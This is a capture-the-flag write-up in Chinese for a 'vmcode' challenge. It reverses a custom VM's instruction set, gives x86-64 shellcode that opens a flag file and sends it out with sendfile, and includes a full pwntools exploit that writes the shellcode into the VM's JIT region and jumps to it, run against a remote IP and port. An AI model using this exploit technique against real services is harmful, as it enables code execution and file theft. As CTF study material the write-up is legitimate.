vmcode
逆向。mov imm64 给寄存器塞立即数,add 做寄存器加法,store 把一个字节写到 JIT 区,jmp 跳过去执行。这里有两个坑。一个是 store 和 jmp 实际都绑在 r8 上,所以偏移寄存器只能选 VM 的 0 号寄存器;另一个是 mov imm64 过程中会拿 r11 当 scratch,所以数据寄存器不能用它,我最后放在 r12。
1 2 3
| VM_REG_OFF = 0 VM_REG_STEP = 1 VM_REG_DATA = 4
|
逐字节写 shellcode。先把 r8 设成目标位置,把 r9 设成 1,当步长。然后对 shellcode 的每个字节循环做 mov imm64 r12, byte、store r12、add r8, r9。写完以后把 r8 重新设回起点,再 jmp。
shellcode 开路径然后 sendfile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| lea rdi, [rip + path] xor esi, esi mov eax, 2 syscall
mov edi, 1 mov esi, eax xor edx, edx mov r10d, 0x100 mov eax, 40 syscall
xor edi, edi mov eax, 60 syscall
|
1
| python3 exp_pwn.py 43.143.78.186 9999 --path /home/ctf/flag
|
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * import sys
context(os="linux", arch="amd64", log_level="error")
e = "./attachment" off = 0 step = 1 data = 4 base = 0x4000
mov = lambda r, x: bytes([0, r & 7]) + p64(x) add = lambda a, b: bytes([1, a & 7, b & 7]) store = lambda r: bytes([3, 0, r & 7]) jmp = b"\x04\x00" halt = b"\x05"
argv = sys.argv[1:]
if len(argv) >= 2 and argv[1].isdigit(): host = argv[0] port = int(argv[1]) path = argv[2] if len(argv) > 2 else "/flag" io = remote(host, port) else: path = argv[0] if argv else "/flag" io = process(e)
bs = path.encode() + b"\x00" path_bytes = ", ".join(hex(x) for x in bs)
sc = asm(f""" lea rdi, [rip + path] xor esi, esi mov eax, 2 syscall
mov edi, 1 mov esi, eax xor edx, edx mov r10d, 0x100 mov eax, 40 syscall
xor edi, edi mov eax, 60 syscall
path: .byte {path_bytes} """)
payload = b"" payload += mov(off, base) payload += mov(step, 1)
for i, c in enumerate(sc): payload += mov(data, c) payload += store(data) if i != len(sc) - 1: payload += add(off, step)
payload += mov(off, base) payload += jmp payload += halt
io.send(payload) sys.stdout.buffer.write(io.recvall(timeout=3))
|